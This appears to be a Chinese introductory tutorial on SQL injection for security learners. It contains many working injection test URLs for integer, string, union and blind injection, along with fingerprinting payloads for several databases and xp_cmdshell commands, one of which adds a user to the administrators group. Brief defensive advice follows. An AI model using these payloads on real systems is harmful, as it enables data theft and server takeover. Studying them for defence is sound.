注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
[TOC]
本文主要以浅谈SQL注入漏洞进行学习总结,帮助新入门安全学习的小白快速入门SQL注入基础; 在安全圈里总所周知,注入攻击是一个非常传统的攻击方式, 且SQL注入方式与手段变化多端;在日常漏洞中SQL注入占比约10%在OWASP Top榜单曾一度位居第一,虽不算高占比但其危害极大,业内企业因此蒙受损失的新闻层出不穷。
Q: SQL注入的定义?
答: SQL Injection 是这样的一种漏洞应用程序向后台数据库传递
SQL(Structured Query Language-结构化的查询语言)
时候,如果攻击者提供了影响该查询的能力便会引发SQL注入安全问题; 简单的说就是攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持的数据库和操作系统的功能和灵活性;
SQL注入漏洞原理: 描述:脚本攻击主要是针对动态网站进行的攻击,其原因是在建立动态网页的过程中没有对用户的输入输出进行有效的合法性验证,使应用程序存在安全隐患。用户可以提交一段数据库查询代码, 根据程序返回的结果,获得某些他想得知的数据或进行数据库操作;
SQL注入漏洞危害: 例如数据库被拖库,管理员和重要人员信息泄露,甚至还能通过SQL注入漏洞直接获取webshell或者执行命令导致服务器系统权限被获取等等。
WeiyiGeek.SQL注入漏洞危害
Q:目前所掌握的注入漏洞种类,出现频率较高有哪些? 比如:盲注,time 时间盲注,报错注入,union注入(在不影响正常服务的情况下,拼接查询算最高危害的,接下来就是union);
Q:比较易被检测出来的有哪些? 比如:盲注,time 时间盲注,报错注入等;
Q:关于注入的位置常常有那些? 常发生于用户和服务交互处(增删改查操作),AJAX,API接口等等,用这个检测报错注入,比较方便。
整型注入 测试方法:
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
产生原因:sqlstr = "select * from news where id = "+request. getParameter("id")
字符型注入 测试方法:
http://host/test.php?name=rainman' and '1'='1 返回成功
http://host/test.php?name=rainman' and '1'='2 返回失败
产生原因:sqlstr = "select * from news where id = '"+ request.getParameter("name") + "'"
搜索型注入 测试方法:
http://host/test.php?keyword=test%' and '%'=' 返回test查询相同结果
http://host/test.php?id=test%' and '%'=' 返回少于test 查询结果的内容
产生原因:
sqlstr = "select * from news where keywordlike '%" + request. getParameter("keyword")+ "%'"
盲注型注入
内联式SQL注入 内联注入是指查询注入SQL代码后,原来的查询仍然全部执行;
Sqlstr = "select * from admin where username ='"+username+"' and password = '"+password+"'"
username = "' or 'test'='"
password = "' or 'pass'='"
终止式SQL注入 终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句,被注释的查询不会被执行;
username = ‚' or ''='' --‚
password = ‚any string'
常见的终止方式
• 终止字符串: -- , #, %23, %00, /*
• 终止方法: -- , '-- , ')-- , ) -- , ')) --,))--
union 注入
Union是数据库管理员经常使用且可以掌控的运算符之一,可以使用它连接两条或多条select语句的查询结果。
其基本语法如下:
Select colum1,colum2,colum3,…,columN from table1 Union Select colum1,colum2,colum3,…,columN from table2
使用union获取数据规则:
- 两个查询返回的列数必须相同。
- 两个SELECT语句返回的数据库对应的列必须类型相同或兼容(字段类型一致)
- 通常只有终止式注入时,可较快猜解并利用,否则要知道原始的SQL语句才能比较方便的利用
如果应用返回第一个(原始)查询得到的数据,那么通过在第一个查询后注入一个UNION运算符,并添加另一个任意查询,便可读取到数据库用户有权限访问的任何一张表 (主要需要进行测试占位符) 。
Union语句的构建
Q:Union不适用的地方有那些? A:注入语句无法截断,且不清楚完整的SQL查询语句;Web页面中有两个SQL查询语句,查询语句的列数不同;
盲注
4.1) 基于时间的攻击(delay)
Mssql --#命令执行
http://host/products.asp?id=12;if+(system_user='sa')+exec master..xp_cmdshell'ping localhost'
Mysql --#执行sha1函数1000000次
select benchmark(1000000, sha1('test'))
Oracle --#请求测试
select utl_http.request('http://10.0.0.1') from dual
4.2) 基于boolen注入 MSSQL:如果用户属于sysadmin, id = 12/1 返回正常页面,否则返回错误页面 http://host/products.asp?id=12/is_srvrolemember('sysadmin') • 返回正常页面,判断成立 • 返回错误页面,判断失败
要成功的发动SQL注入攻击,最重要的是知道应用正在使用的DBMS,没有这一信息就不可能向查询注入信息并提取自己所感兴趣的数据. 原因:不同数据库之间存在语法差异和特性;
ACCESS Databases + ASP
注入点:http://xx.xxx.xx.xx/playnews.asp?id=772' and '1=1
# Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
#查询表达式 'id = 772'' 中 /displaynews.asp,行31
特有数据表进行判断:
http://host/test.php?id=100 and (select count(*) from sysobjects)>0 and 1=1
MSSQL Databases + ASPX
--#报错信息:[Microsoft][ODBC SQL ServerDriver][SQL Server] 字符串''之前有未闭合的引号
特有数据表进行判断:
http://host/test.php?id=100 and (select count(*) from sysobjects)>0 and 1=1
注入点:http://www.test.com/showdetail.asp?id=49' And (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);--
执行SQL语句:Select * from 表名 where 字段='49' And (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);--
字符连接方式判断:
http://host/test.php?id=100 and '1'+'1'='11'
获取非字符类型错误
http://host/products.asp?id=12 and (select top 1 char(94)+(id as varchar(256)) from admin) >0
基于时间盲注:
http://host/products.asp?id=12;if+(system_user='sa')+waitfor+delay+'0:0:5'--
http://host/products.asp?id=12;if+(system_user='sa')+exec master..xp_cmdshell'ping localhost'
关键点:SQL Server内置的存储过程xp_cmdshell :
http://www.test.com/showdetail.asp?id=49';exec master..xp_cmdshell "net localgroup administrators name /add"--
Mysql + php
--#报错:Mysql: ERROR 1064 (42000): You have anerror in your SQL syntax; check the manualthat corresponds to your MySQL serverversion for the right syntax to use near
特有数据表进行判断:
http://host/test.php?id=100 and (select count(*) from information_schema.TABLES)>0 and 1=1 mysql> 5.0
字符连接方式判断:
http://host/test.php?id=100 and '1'+'1'='11'
http://host/test.php?id=100 and CONCAT('1','1')='11'
Oracle + jsp
#报错:Oracle: ORA-01756: 括号内的字符串没有正确结束
select utl_inaddr.get_host_name((select banner from v$version where rownum= 1)) from dual;
特有数据表进行判断:
http://host/test.php?id=100 and (select count(*) fromsys.user_tables)>0 and 1=1
字符连接方式判断:
http://host/test.php?id=100 and '1' || '1'='11'
http://host/test.php?id=100 and CONCAT('1','1')='11'
2) 了解代码使用的框架或者代码结构,看代码对请求进行路由和分发的方式,路由分发方式的设计和实现是否存在隐患,记录一下再看看是否有一些统一的安全filter,记录下他的特性(任何统一的安全filter都会因为不了解后端调用的场景而产生绕过),然后再看看是否有基础的DB库,这个库是否实现了安全的SQL操作。
3) 了解业务实现的方式,设计的思路,这样黑盒看到同类网站,就可以知道怎么下手知识面越广也越容易发现更多的技巧,了解搭配的数据库版本(MYSQL,MSSQL,Sybase,Oracle,Access)
最好的防御,是内部先发现做策略,开发时过滤特殊字符: 单引号、双引号、斜杠、反斜杠、冒号、 空字符等的字符 ; 过滤的对象: 用户的输入 | 提交的URL请求中的参数部分 | 从cookie中得到的数据 ; 监测方面目前大多都是日志监控+WAF(统一的filter),部署防SQL注入系统或脚本 ; 数据库日志容易解析,语法出错的、语法读Info表的建立黑白名单机制,都明确是黑客嘛;